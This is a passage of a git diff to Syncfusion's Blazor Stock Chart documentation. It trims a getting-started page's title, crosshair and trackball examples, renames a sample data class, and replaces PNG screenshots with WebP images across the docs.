-Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNBTZWAXpJFtLYFv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stock Chart Component](images/blazor-stock-chart.png)" %}
-
-## Adding Title
-
-A title using [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfStockChart.html#Syncfusion_Blazor_Charts_SfStockChart_Title) property can be added in the Stock Chart, to provide quick information to the user about the data plotted in the component.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfStockChart Title="AAPL Historical">
-    <StockChartSeriesCollection>
-        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Candle" XName="Date" YName="Close" High="High" Low="Low" Open="Open" Close="Close" Volume="Volume"></StockChartSeries>
+        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Candle" XName="Date" High="High" Low="Low" Open="Open" Close="Close" Volume="Volume"></StockChartSeries>
     </StockChartSeriesCollection>
 </SfStockChart>
 
-@code {
-    public class ChartData
+@code{
+    public class StockChartData
     {
         public DateTime Date { get; set; }
         public Double Open { get; set; }
@@ -278,110 +185,30 @@ A title using [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ch
         public Double Volume { get; set; }
     }
 
-    public List<ChartData> StockDetails = new List<ChartData>
-    {
-        new ChartData { Date = new DateTime(2012, 04, 02), Open= 85.9757, High = 90.6657,Low = 85.7685, Close = 90.5257,Volume = 660187068},
-        new ChartData { Date = new DateTime(2012, 04, 09), Open= 89.4471, High = 92,Low = 86.2157, Close = 86.4614,Volume = 912634864},
-        new ChartData { Date = new DateTime(2012, 04, 16), Open= 87.1514, High = 88.6071,Low = 81.4885, Close = 81.8543,Volume = 1221746066},
-        new ChartData { Date = new DateTime(2012, 04, 23), Open= 81.5157, High = 88.2857,Low = 79.2857, Close = 86.1428,Volume = 965935749},
-        new ChartData { Date = new DateTime(2012, 04, 30), Open= 85.4, High =  85.4857,Low = 80.7385, Close = 80.75,Volume = 615249365},
-        new ChartData { Date = new DateTime(2012, 05, 07), Open= 80.2143, High = 82.2685,Low = 79.8185, Close = 80.9585,Volume = 541742692},
-        new ChartData { Date = new DateTime(2012, 05, 14), Open= 80.3671, High = 81.0728,Low = 74.5971, Close = 75.7685,Volume = 708126233},
-        new ChartData { Date = new DateTime(2012, 05, 21), Open= 76.3571, High = 82.3571,Low = 76.2928, Close = 80.3271,Volume = 682076215},
-        new ChartData { Date = new DateTime(2012, 05, 28), Open= 81.5571, High = 83.0714,Low = 80.0743, Close = 80.1414,Volume = 480059584}
-   };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZrJtMKjTJvplKeq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stock Chart with Title](images/blazor-stock-chart-title.png)" %}
-
-## Adding Crosshair
-
-The crosshair is a vertical and horizontal line on the view that shows the value of an axis when the mouse or touch is in a certain position. The crosshair lines can be enabled by using [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartCrosshairSettings.html#Syncfusion_Blazor_Charts_StockChartCrosshairSettings_Enable) property in the [StockChartCrosshairSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartCrosshairSettings.html). Likewise tooltip label for an axis can be enabled by using [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartTooltipSettings.html#Syncfusion_Blazor_Charts_StockChartTooltipSettings_Enable) property in the [StockChartTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartTooltipSettings.html).
-
-{% tabs %}
-{% highlight razor %}
-
-<SfStockChart>
-    <StockChartCrosshairSettings Enable="true"></StockChartCrosshairSettings>
-    <StockChartSeriesCollection>
-        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Column" XName="Date" YName="Y"></StockChartSeries>
-    </StockChartSeriesCollection>
-</SfStockChart>
-
-@code {
-    public class ChartData
-    {
-        public DateTime Date { get; set; }
-        public Double Y { get; set; }
-    }
-
-    public List<ChartData> StockDetails = new List<ChartData>
+    public List<StockChartData> StockDetails = new List<StockChartData>
     {
-         new ChartData { Date = new DateTime(2012, 04, 02), Y= 100},
-         new ChartData { Date = new DateTime(2012, 04, 09), Y= 10 },
-         new ChartData { Date = new DateTime(2012, 04, 16), Y= 500},
-         new ChartData { Date = new DateTime(2012, 04, 23), Y= 80 },
-         new ChartData { Date = new DateTime(2012, 04, 30), Y= 200},
-         new ChartData { Date = new DateTime(2012, 05, 07), Y= 600},
-         new ChartData { Date = new DateTime(2012, 05, 14), Y= 50 },
-         new ChartData { Date = new DateTime(2012, 05, 21), Y= 700},
-         new ChartData { Date = new DateTime(2012, 05, 28), Y= 90 }
-   };
+        new StockChartData { Date = new DateTime(2012, 04, 02), Open = 85.9757, High = 90.6657, Low = 85.7685, Close = 90.5257, Volume = 660187068 },
+        new StockChartData { Date = new DateTime(2012, 04, 09), Open = 89.4471, High = 92, Low = 86.2157, Close = 86.4614, Volume = 912634864 },
+        new StockChartData { Date = new DateTime(2012, 04, 16), Open = 87.1514, High = 88.6071, Low = 81.4885, Close = 81.8543, Volume = 1221746066 },
+        new StockChartData { Date = new DateTime(2012, 04, 23), Open = 81.5157, High = 88.2857, Low = 79.2857, Close = 86.1428, Volume = 965935749 },
+        new StockChartData { Date = new DateTime(2012, 04, 30), Open = 85.4, High =  85.4857, Low = 80.7385, Close = 80.75, Volume = 615249365 },
+        new StockChartData { Date = new DateTime(2012, 05, 07), Open = 80.2143, High = 82.2685, Low = 79.8185, Close = 80.9585, Volume = 541742692 },
+        new StockChartData { Date = new DateTime(2012, 05, 14), Open = 80.3671, High = 81.0728, Low = 74.5971, Close = 75.7685, Volume = 708126233 },
+        new StockChartData { Date = new DateTime(2012, 05, 21), Open = 76.3571, High = 82.3571, Low = 76.2928, Close = 80.3271, Volume = 682076215 },
+        new StockChartData { Date = new DateTime(2012, 05, 28), Open = 81.5571, High = 83.0714, Low = 80.0743, Close = 80.1414, Volume = 480059584 }
+    };
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhTtsANzJEKAOXS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stock Chart with Crosshair](images/blazor-stock-chart-with-crosshair.png)" %}
-
-## Adding Trackball
-
-The trackball is used to track a closest data point to the mouse or touch position. The trackball marker indicates the closest point and trackball tooltip displays the information about the point. It can be enabled by setting the [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartCrosshairSettings.html#Syncfusion_Blazor_Charts_StockChartCrosshairSettings_Enable) property in the [StockChartCrosshairSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartCrosshairSettings.html) to **true** and [Shared](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartTooltipSettings.html#Syncfusion_Blazor_Charts_StockChartTooltipSettings_Shared) property in the [StockChartTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartTooltipSettings.html) to **true** in component.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfStockChart>
-    <StockChartCrosshairSettings Enable="true" LineType="LineType.Vertical"></StockChartCrosshairSettings>
-    <StockChartTooltipSettings Enable="true" Shared="true" Format="${point.x} : ${point.y}" Header="AAPL"></StockChartTooltipSettings>
-    <StockChartSeriesCollection>
-        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Line" XName="Date" YName="Y"></StockChartSeries>
-        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Line" XName="Date" YName="Y1"></StockChartSeries>
-    </StockChartSeriesCollection>
-</SfStockChart>
-
-@code {
-    public class ChartData
-    {
-        public DateTime Date { get; set; }
-        public Double Y { get; set; }
-        public Double Y1 { get; set; }
-    }
-
-    public List<ChartData> StockDetails = new List<ChartData>
-    {
-         new ChartData { Date = new DateTime(2012, 04, 02), Y= 100, Y1= 50},
-         new ChartData { Date = new DateTime(2012, 04, 09), Y= 10 , Y1= 5},
-         new ChartData { Date = new DateTime(2012, 04, 16), Y= 500, Y1= 250},
-         new ChartData { Date = new DateTime(2012, 04, 23), Y= 80 , Y1= 60},
-         new ChartData { Date = new DateTime(2012, 04, 30), Y= 200, Y1= 100},
-         new ChartData { Date = new DateTime(2012, 05, 07), Y= 600, Y1= 300},
-         new ChartData { Date = new DateTime(2012, 05, 14), Y= 50 , Y1= 25},
-         new ChartData { Date = new DateTime(2012, 05, 21), Y= 700, Y1= 350},
-         new ChartData { Date = new DateTime(2012, 05, 28), Y= 90 , Y1= 45}
-   };
-}
+Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart component in the default web browser.
 
-{% endhighlight %}
-{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVHjeVNVEQConrD?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" backgroundimage "[Blazor Stock Chart Component](images/blazor-stock-chart.webp)" %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrfXCgjzINVMeUY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stock Chart with Trackball](images/blazor-stock-chart-trackball.png)" %}
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/StockChart).
 
 ## See also
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor in Blazor WebAssembly App](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor in Blazor Web App](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
diff --git a/blazor/stock-chart/gradient.md b/blazor/stock-chart/gradient.md
index 670f336150..845ed8b124 100644
--- a/blazor/stock-chart/gradient.md
+++ b/blazor/stock-chart/gradient.md
@@ -91,7 +91,7 @@ Apply a linear gradient to a series by adding `StockChartLinearGradient` inside
 }
 
 ```
-![Linear Gradient for series in Blazor Stock Chart](images/gradient/blazor-stock-chart-linear-gradient-series.png)
+![Linear Gradient for series in Blazor Stock Chart](images/gradient/blazor-stock-chart-linear-gradient-series.webp)
 
 ### Trendlines
 
@@ -147,7 +147,7 @@ Apply a linear gradient to a stock chart trendline by adding `StockChartLinearGr
 }
 
 ```
-![Linear Gradient for trendlines in Blazor Stock Chart](images/gradient/blazor-stock-chart-linear-gradient-trendlines.png)
+![Linear Gradient for trendlines in Blazor Stock Chart](images/gradient/blazor-stock-chart-linear-gradient-trendlines.webp)
 
 ### Technical Indicators
 
@@ -204,7 +204,7 @@ Apply a linear gradient to a technical indicator by adding `StockChartLinearGrad
 }
 
 ```
-![Linear Gradient for indicators in Blazor Stock Chart](images/gradient/blazor-stock-chart-linear-gradient-indicators.png)
+![Linear Gradient for indicators in Blazor Stock Chart](images/gradient/blazor-stock-chart-linear-gradient-indicators.webp)
 
 ## Radial gradient
 
@@ -277,7 +277,7 @@ Apply a radial gradient to a series by adding `StockChartRadialGradient` inside
 }
 
 ```
-![Radial Gradient for series in Blazor Stock Chart](images/gradient/blazor-stock-chart-radial-gradient-series.png)
+![Radial Gradient for series in Blazor Stock Chart](images/gradient/blazor-stock-chart-radial-gradient-series.webp)
 
 N> Radial gradients can also be applied to Trendlines and Technical Indicators in the same way by placing a `StockChartRadialGradient` with color stops inside the target `StockChartTrendline` or `StockChartIndicator`.
 
diff --git a/blazor/stock-chart/images/Blazor-stock-chart-legend-itemPadding.png b/blazor/stock-chart/images/Blazor-stock-chart-legend-itemPadding.png
deleted file mode 100644
index 7ad6f7ce73..0000000000
Binary files a/blazor/stock-chart/images/Blazor-stock-chart-legend-itemPadding.png and /dev/null differ
diff --git a/blazor/stock-chart/images/Blazor-stock-chart-legend-itemPadding.webp b/blazor/stock-chart/images/Blazor-stock-chart-legend-itemPadding.webp
new file mode 100644
index 0000000000..402da121d4
Binary files /dev/null and b/blazor/stock-chart/images/Blazor-stock-chart-legend-itemPadding.webp differ
diff --git a/blazor/stock-chart/images/appearance/blazor-stock-chart-custom-title.png b/blazor/stock-chart/images/appearance/blazor-stock-chart-custom-title.png
deleted file mode 100644
index 8a1de72795..0000000000
Binary files a/blazor/stock-chart/images/appearance/blazor-stock-chart-custom-title.png and /dev/null differ
diff --git a/blazor/stock-chart/images/appearance/blazor-stock-chart-custom-title.webp b/blazor/stock-chart/images/appearance/blazor-stock-chart-custom-title.webp
new file mode 100644
index 0000000000..b146b026b0
Binary files /dev/null and b/blazor/stock-chart/images/appearance/blazor-stock-chart-custom-title.webp differ
diff --git a/blazor/stock-chart/images/appearance/blazor-stock-chart-title.png b/blazor/stock-chart/images/appearance/blazor-stock-chart-title.png
deleted file mode 100644
index d3b7b9b898..0000000000
Binary files a/blazor/stock-chart/images/appearance/blazor-stock-chart-title.png and /dev/null differ
diff --git a/blazor/stock-chart/images/appearance/blazor-stock-chart-title.webp b/blazor/stock-chart/images/appearance/blazor-stock-chart-title.webp
new file mode 100644
index 0000000000..6820610c02
Binary files /dev/null and b/blazor/stock-chart/images/appearance/blazor-stock-chart-title.webp differ
diff --git a/blazor/stock-chart/images/appearance/blazor-stock-chart-with-theme.png b/blazor/stock-chart/images/appearance/blazor-stock-chart-with-theme.png
deleted file mode 100644
index 0132494880..0000000000
Binary files a/blazor/stock-chart/images/appearance/blazor-stock-chart-with-theme.png and /dev/null differ
diff --git a/blazor/stock-chart/images/appearance/blazor-stock-chart-with-theme.webp b/blazor/stock-chart/images/appearance/blazor-stock-chart-with-theme.webp
new file mode 100644
index 0000000000..fc58fd9192
Binary files /dev/null and b/blazor/stock-chart/images/appearance/blazor-stock-chart-with-theme.webp differ
diff --git a/blazor/stock-chart/images/blazor-create-web-app.png b/blazor/stock-chart/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/stock-chart/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-create-web-app.webp b/blazor/stock-chart/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/stock-chart/images/blazor-create-web-app.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-events.png b/blazor/stock-chart/images/blazor-stock-chart-events.png
deleted file mode 100644
index 7a49beb897..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-events.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-events.webp b/blazor/stock-chart/images/blazor-stock-chart-events.webp
new file mode 100644
index 0000000000..bb65223a51
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-events.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-hidding-legend.png b/blazor/stock-chart/images/blazor-stock-chart-hidding-legend.png
deleted file mode 100644
index cc41cb988a..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-hidding-legend.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-hidding-legend.webp b/blazor/stock-chart/images/blazor-stock-chart-hidding-legend.webp
new file mode 100644
index 0000000000..59b9608b63
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-hidding-legend.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-alignment.png b/blazor/stock-chart/images/blazor-stock-chart-legend-alignment.png
deleted file mode 100644
index 317cfbe567..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend-alignment.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-alignment.webp b/blazor/stock-chart/images/blazor-stock-chart-legend-alignment.webp
new file mode 100644
index 0000000000..bcdb2bec37
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend-alignment.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-location.png b/blazor/stock-chart/images/blazor-stock-chart-legend-location.png
deleted file mode 100644
index 481e0a170a..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend-location.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-location.webp b/blazor/stock-chart/images/blazor-stock-chart-legend-location.webp
new file mode 100644
index 0000000000..8bc2201828
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend-location.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-paging.png b/blazor/stock-chart/images/blazor-stock-chart-legend-paging.png
deleted file mode 100644
index 22a4b5b0af..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend-paging.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-paging.webp b/blazor/stock-chart/images/blazor-stock-chart-legend-paging.webp
new file mode 100644
index 0000000000..edd8950e3a
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend-paging.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-position.png b/blazor/stock-chart/images/blazor-stock-chart-legend-position.png
deleted file mode 100644
index 585d7c9362..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend-position.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-position.webp b/blazor/stock-chart/images/blazor-stock-chart-legend-position.webp
new file mode 100644
index 0000000000..636c64b28e
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend-position.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-reversed.png b/blazor/stock-chart/images/blazor-stock-chart-legend-reversed.png
deleted file mode 100644
index 9174872fe0..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend-reversed.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-reversed.webp b/blazor/stock-chart/images/blazor-stock-chart-legend-reversed.webp
new file mode 100644
index 0000000000..9b28e409df
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend-reversed.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-shape.png b/blazor/stock-chart/images/blazor-stock-chart-legend-shape.png
deleted file mode 100644
index f42b9af341..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend-shape.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-shape.webp b/blazor/stock-chart/images/blazor-stock-chart-legend-shape.webp
new file mode 100644
index 0000000000..cc533278c8
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend-shape.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-size-shape.png b/blazor/stock-chart/images/blazor-stock-chart-legend-size-shape.png
deleted file mode 100644
index 6367fc681a..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend-size-shape.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-size-shape.webp b/blazor/stock-chart/images/blazor-stock-chart-legend-size-shape.webp
new file mode 100644
index 0000000000..f8f67be90e
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend-size-shape.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-size.png b/blazor/stock-chart/images/blazor-stock-chart-legend-size.png
deleted file mode 100644
index bbc1a225ce..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend-size.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-size.webp b/blazor/stock-chart/images/blazor-stock-chart-legend-size.webp
new file mode 100644
index 0000000000..3de0055ef8
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend-size.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-template.png b/blazor/stock-chart/images/blazor-stock-chart-legend-template.png
deleted file mode 100644
index 136baac754..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend-template.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-template.webp b/blazor/stock-chart/images/blazor-stock-chart-legend-template.webp
new file mode 100644
index 0000000000..fe7ff7b7c9
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend-template.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-text-wrap.png b/blazor/stock-chart/images/blazor-stock-chart-legend-text-wrap.png
deleted file mode 100644
index 16c9d15145..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend-text-wrap.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend-text-wrap.webp b/blazor/stock-chart/images/blazor-stock-chart-legend-text-wrap.webp
new file mode 100644
index 0000000000..1114ac8c9f
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend-text-wrap.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend.png b/blazor/stock-chart/images/blazor-stock-chart-legend.png
deleted file mode 100644
index f9328a6028..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-legend.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-legend.webp b/blazor/stock-chart/images/blazor-stock-chart-legend.webp
new file mode 100644
index 0000000000..ef2eedaf93
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-legend.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-selection-mode.png b/blazor/stock-chart/images/blazor-stock-chart-selection-mode.png
deleted file mode 100644
index e663e2b0e6..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-selection-mode.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-selection-mode.webp b/blazor/stock-chart/images/blazor-stock-chart-selection-mode.webp
new file mode 100644
index 0000000000..59f89ecb41
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-selection-mode.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-title.png b/blazor/stock-chart/images/blazor-stock-chart-title.png
deleted file mode 100644
index 8e81a82842..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-title.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-title.webp b/blazor/stock-chart/images/blazor-stock-chart-title.webp
new file mode 100644
index 0000000000..92b2ff6589
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-title.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-trackball.png b/blazor/stock-chart/images/blazor-stock-chart-trackball.png
deleted file mode 100644
index 2a52e9c8dd..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-trackball.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-trackball.webp b/blazor/stock-chart/images/blazor-stock-chart-trackball.webp
new file mode 100644
index 0000000000..9982d6976e
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-trackball.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-with-crosshair.png b/blazor/stock-chart/images/blazor-stock-chart-with-crosshair.png
deleted file mode 100644
index 7e89a98071..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart-with-crosshair.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart-with-crosshair.webp b/blazor/stock-chart/images/blazor-stock-chart-with-crosshair.webp
new file mode 100644
index 0000000000..30b5f90c29
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart-with-crosshair.webp differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart.png b/blazor/stock-chart/images/blazor-stock-chart.png
deleted file mode 100644
index 861c99d8f3..0000000000
Binary files a/blazor/stock-chart/images/blazor-stock-chart.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-stock-chart.webp b/blazor/stock-chart/images/blazor-stock-chart.webp
new file mode 100644
index 0000000000..ea809e0339
Binary files /dev/null and b/blazor/stock-chart/images/blazor-stock-chart.webp differ
diff --git a/blazor/stock-chart/images/blazor-wasm-app-template.png b/blazor/stock-chart/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/stock-chart/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/stock-chart/images/blazor-wasm-app-template.webp b/blazor/stock-chart/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/stock-chart/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/stock-chart/images/client-side.png b/blazor/stock-chart/images/client-side.png
deleted file mode 100644
index a4d49081c6..0000000000
Binary files a/blazor/stock-chart/images/client-side.png and /dev/null differ
diff --git a/blazor/stock-chart/images/client-side.webp b/blazor/stock-chart/images/client-side.webp
new file mode 100644
index 0000000000..bf199d2e97
Binary files /dev/null and b/blazor/stock-chart/images/client-side.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-candle-stock-chart.png b/blazor/stock-chart/images/common/blazor-candle-stock-chart.png
deleted file mode 100644
index 5ed6d2762c..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-candle-stock-chart.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-candle-stock-chart.webp b/blazor/stock-chart/images/common/blazor-candle-stock-chart.webp
new file mode 100644
index 0000000000..8f94f77b99
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-candle-stock-chart.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-bind-local-data.png b/blazor/stock-chart/images/common/blazor-stock-chart-bind-local-data.png
deleted file mode 100644
index f52b041b4d..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-bind-local-data.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-bind-local-data.webp b/blazor/stock-chart/images/common/blazor-stock-chart-bind-local-data.webp
new file mode 100644
index 0000000000..7a12a58db1
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-bind-local-data.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-bind-remote-data.png b/blazor/stock-chart/images/common/blazor-stock-chart-bind-remote-data.png
deleted file mode 100644
index 68b1623f8d..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-bind-remote-data.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-bind-remote-data.webp b/blazor/stock-chart/images/common/blazor-stock-chart-bind-remote-data.webp
new file mode 100644
index 0000000000..c9233a6e56
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-bind-remote-data.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-crosshair-tooltip.png b/blazor/stock-chart/images/common/blazor-stock-chart-crosshair-tooltip.png
deleted file mode 100644
index 008ef4b95e..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-crosshair-tooltip.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-crosshair-tooltip.webp b/blazor/stock-chart/images/common/blazor-stock-chart-crosshair-tooltip.webp
new file mode 100644
index 0000000000..7944c4057c
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-crosshair-tooltip.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-crosshair.png b/blazor/stock-chart/images/common/blazor-stock-chart-crosshair.png
deleted file mode 100644
index 3fd5c1a900..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-crosshair.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-crosshair.webp b/blazor/stock-chart/images/common/blazor-stock-chart-crosshair.webp
new file mode 100644
index 0000000000..4f409d85a8
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-crosshair.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-custom-crosshair.png b/blazor/stock-chart/images/common/blazor-stock-chart-custom-crosshair.png
deleted file mode 100644
index 55839c8d52..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-custom-crosshair.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-custom-crosshair.webp b/blazor/stock-chart/images/common/blazor-stock-chart-custom-crosshair.webp
new file mode 100644
index 0000000000..4b64ffb317
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-custom-crosshair.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-custom-tooltip.png b/blazor/stock-chart/images/common/blazor-stock-chart-custom-tooltip.png
deleted file mode 100644
index c927a24aa4..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-custom-tooltip.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-custom-tooltip.webp b/blazor/stock-chart/images/common/blazor-stock-chart-custom-tooltip.webp
new file mode 100644
index 0000000000..b469669fdf
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-custom-tooltip.webp differ
